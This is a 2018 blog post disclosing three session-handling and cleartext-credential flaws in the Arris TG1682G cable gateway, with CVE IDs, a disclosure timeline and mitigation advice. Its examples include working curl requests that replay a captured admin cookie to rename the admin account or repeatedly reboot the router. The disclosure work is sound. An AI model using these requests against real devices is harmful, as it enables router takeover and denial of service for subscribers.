Comcast Arris Touchstone Gateway Devices are vulnerable! Here’s the disclosure.

Published in

AxDB

7 min readMay 14, 2018

Arris Touchstone Telephony Gateway TG1682G — Web Administration Console

This is a firsthand security vulnerability public disclosure being published for educational and safety purposes only.

Are you a Comcast or AT&T subscriber using one of their provided Arris routers? Then it is highly likely, you are vulnerable.

Arris DOCSIS 3.0 devices are the choice of modems for prominent ISPs like Comcast and AT&T. It is therefore critical that these hardware devices be especially hardened and secured, given the extent of their customer base across the U.S. and the world, which includes home, business and government users. In late 2017, Nomotion, an information security firm, publicly disclosed a couple of serious flaws in Arris NVG series routers.

The following flaws were identified in Arris Touchstone Telephony Gateway (TG) series devices, specifically model: TG1682. It is however suspected that other Arris routers share the same vulnerabilities as well, given the rather standardized nature of web administration portals across different routers.

Arris Touchstone Telephony Gateway (TG1862G) — DOCSIS 3.0 Modem

Affected Version(s)

The vulnerability was observed and reproduced on the following device(s). The list is not exhaustive will be updated as the vendor or another security researcher confirms the presence of the vulnerabilities in other devices.

Hardware Model: TG1682G
Bootcode Version 4.2.0.39
Hardware Version 3
Firmware Version 9.1.103J6

Vulnerabilities

One or more CVE IDs may still be in the process of being published. These may therefore appear to be marked as ** RESERVED ** on MITRE.

1. CVE-2018-10990

Associated CWE(s):
CWE-613: Insufficient Session Expiration

Description:
Arris Touchstone Gateway web administration console does not handle session expiration properly. Even after logging out from the Arris Touchstone Gateway web administration console, a previously sniffed and valid `credential` cookie can be replayed to perform unauthorized actions. This behavior is observed at least for a few minutes:

After the user has logged out or,
After the user has logged out and logged back in, now using a new session identifier.

The unauthorized actions include any and all of the functions of the device available to the administrator, for example, changing the username of the console from `admin` to an arbitrary value which can prevent the administrator from logging back in, restarting the device, performing a factory reset, etc.

Prerequisite(s):
The attacker is able to previously sniff some of the traffic between the Arris Gateway and the administrator. During the period of sniffing, the administrator logged onto the Arris Gateway web administration console at least once.

Explanation:

Certain types of requests made to the gateway’s web administration console contain a session cookie called `credential` which looks as follows:

credential=eyAidW5pcXVlIjoiS08xV0R2V0VqMHMwYiIsICJmYW1pbHkiOiI4NTIiLCAibW9kZWxuYW1lIjoiVEcxNjgyRyIsICJuYW1lIjoiYWRtaW4iLCAidGVjaCI6ZmFsc2UsICJtb2NhIjoyLCAid2lmaSI6NSwgImNvblR5cGUiOiJMQU4iLCAiRGVmUGFzc3dkQ2hhbmdlZCI6Ik5PIiB9

which is nothing more than base64-encoded JSON:

{ “unique”:”KO1WDvWEj0s0b”, “family”:”852", “modelname”:”TG1682G”, “name”:”admin”, “tech”:false, “moca”:2, “wifi”:5, “conType”:”LAN”, “DefPasswdChanged”:”NO” }

KO1WDvWEj0s0b appears to be the unique session identifier.

Even after logging out of the web administration console, the `credential` cookie can be replayed by an attacker to perform unauthorized actions, for example, to:

Change the Wi-Fi Pre-shared key
Restart the gateway
Reset the device to factory settings
Change the username from `admin` to an arbitrary value
Configure, open and forward ports
Perform any actions which would otherwise require authorization

Example(s):
An example cURL request below, containing the `credential` cookie, sets the username of the administration console to an arbitrary value. The cookie is replayed in the request and works, even after the administrator has logged out of the console, an event which should have ideally terminated the session.

curl ‘http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.5.16.1.2.1=
UnguessableUsername666;4;&_n=27041&_=1526157556991’ -H ‘Cookie: credential=eyAidW5pcXVlIjoiS08xV0R2V0VqMHMwYiIsICJmYW1pbHkiOiI4NTIiLCAibW9kZWxuYW1lIjoiVEcxNjgyRyIsICJuYW1lIjoiYWRtaW4iLCAidGVjaCI6ZmFsc2UsICJtb2NhIjoyLCAid2lmaSI6NSwgImNvblR5cGUiOiJMQU4iLCAiRGVmUGFzc3dkQ2hhbmdlZCI6Ik5PIiB9’ -H ‘Accept-Encoding: gzip, deflate’ -H ‘Accept-Language: en-US,en;q=0.9’ -H ‘User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36’ -H ‘Accept: */*’ -H ‘Referer: http://192.168.0.1/?basic_password' -H ‘X-Requested-With: XMLHttpRequest’ -H ‘Connection: keep-alive’ — compressed

Likewise, the request below, containing the `credential` cookie, is sufficient to restart the device multiple times in successive attempts, even after the administrator has logged out of the console, therefore causing a Denial of Service (DoS):

curl ‘http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.5.4.0=1;2;&_n=27041&_=1526157556991' -H ‘Cookie: credential=eyAidW5pcXVlIjoiS08xV0R2V0VqMHMwYiIsICJmYW1pbHkiOiI4NTIiLCAibW9kZWxuYW1lIjoiVEcxNjgyRyIsICJuYW1lIjoiYWRtaW4iLCAidGVjaCI6ZmFsc2UsICJtb2NhIjoyLCAid2lmaSI6NSwgImNvblR5cGUiOiJMQU4iLCAiRGVmUGFzc3dkQ2hhbmdlZCI6Ik5PIiB9’ -H ‘Accept-Encoding: gzip, deflate’ -H ‘Accept-Language: en-US,en;q=0.9’ -H ‘User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36’ -H ‘Accept: */*’ -H ‘Referer: http://192.168.0.1/?basic_password' -H ‘X-Requested-With: XMLHttpRequest’ -H ‘Connection: keep-alive’ — compressed

2. CVE-2018-10991 — Marked as duplicate of CVE-2018–10990

Denial of Service (DoS) due to improper authorization

Associated CWE(s):
CWE-285: Improper Authorization
CWE-294: Authentication Bypass by Capture-replay

Description:
Because Arris Touchstone Gateway device suffers from an Insufficient Session Expiration vulnerability (according to CVE-2018–10990), the old session identifiers can be replayed to perform actions which may cause Denial of Service (DoS).

Prerequisite(s):
See CVE-2018–10990.

Example:
The below request, containing the `credential` cookie from a previous session, is sufficient to restart the device multiple times in successive attempts, even after the administrator has logged out of the console, therefore causing a Denial of Service (DoS):

Likewise, certain actions performed using the unexpired cookie can include:

Performing a factory reset on the device, therefore causing a Denial of Service (DoS).
Changing the Wi-Fi Preshared Key, therefore causing Denial of Service (DoS) to the legitimate Wi-Fi users.
Setting the administrator username to an arbitrary value causing Denial of Service (DoS) to the administrator(s).
Sabotaging the configuration and security settings leading to Denial of Service (DoS).

3. CVE-2018-10989

Associated CWE(s):
CWE-319: Cleartext Transmission of Sensitive Information

Description:
When logging into Arris Touchstone Gateway web administration console, or when attempting to change login credentials, the credentials are exchanged over HTTP as a base64-encoded GET parameter. The GET parameter can be sniffed by an attacker present on the network (for example, on a WiFi hotspot powered by the device), or in a scenario where a Man-in-the-Middle (MITM) attack has already taken place.

Prerequisite(s):
The attacker is able to sniff some traffic between the Arris gateway and the administrator by, for example, acting as a man-in-the-middle (MITM) or by being present on the same network (e.g. WiFi network of the device) as the administrator. Administrator logs into the web administration console ( http://192.168.x.x/ ) while the sniffing is in progress.

Example(s):

A login request with the credential being sent in the URL as a GET parameter:
http://192.168.0.1/login?arg=YWRtaW46cGFzc3dvcmQ=&_n=03779&_=1526220368681

The base64-decoded equivalent of YWRtaW46cGFzc3dvcmQ= which can trivially be found out, is: admin:password

2. Likewise, a change of password request is sent as a GET parameter as well:

http://192.168.0.1/setPassword?arg=MTpvbGRwYXNzd29yZDpuZXdwYXNzd29yZA==&_n=66301&_=1526220788969

The base64-decoded equivalent of MTpvbGRwYXNzd29yZDpuZXdwYXNzd29yZA== is
1:oldpassword:newpassword

Here, the number ‘1’ is supposedly an account identifier (ID) for the ‘admin’ account.

3. Finally, for setting the username to any value, there is no base64 encoding at all.

http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.5.16.1.2.1=newUsername;4;&_n=22389&_=1526221008514

The dot-separated numbers in the URL appear to be the SNMP Object IDs (OIDs).

In all of the above requests, the `_n` parameter appears to be a session-specific identifier and the `_` parameter appears to be the current Unix epoch timestamp in milliseconds which does not seem to affect the outcome of the requests.

Recommendation

It is hard to make a blanket recommendation as it is unclear if Arris would be releasing a firmware upgrade anytime soon. While some users may be able to simply access the administration console over SSL ( https://192.168.x.x ) which features a red-colored warning-stricken self-signed certificate, there remains a possibility of a protocol downgrade attack (to HTTP). Also, using HTTPS would not alone safeguard against insufficient session expiration. Due to the sensitive nature of these flaws and the fact they affect the gateway’s administration functionality, it is strongly recommend that web (port 80/443) and SSH access to the gateway, from your public, Internet-facing IP be disabled.

It is best to upgrade to a non-vulnerable firmware, for example a relatively safer DD-WRT firmware version or to apply any future Arris updates. In the meantime, it is strictly advised that the administration console be accessed over HTTPS on an internal network only and only when the network is not being shared (e.g. over Wi-Fi/Ethernet).

Disclosure Timeline

I understand the disclosure for these flaws is rather sudden, but given the vast extent of Arris’ customer base, a public disclosure is vital for everyone’s safety and awareness.

Friday, May 11 2018: Multiple flaws are discovered in the device. Arris is contacted to request information regarding whom to reach out to, and the case is escalated by the Customer Service Representative.
Sunday, May 13 2018: A detailed report is prepared and emailed to Arris, along with the note that given the widespread extent of Arris customer base, lack of firmware updates in the recent months and the context-dependent complexity/simplicity of exploitation of the flaws, the flaws may be publicly disclosed at anytime.
Monday, May 14 2018: Public disclosure via Medium.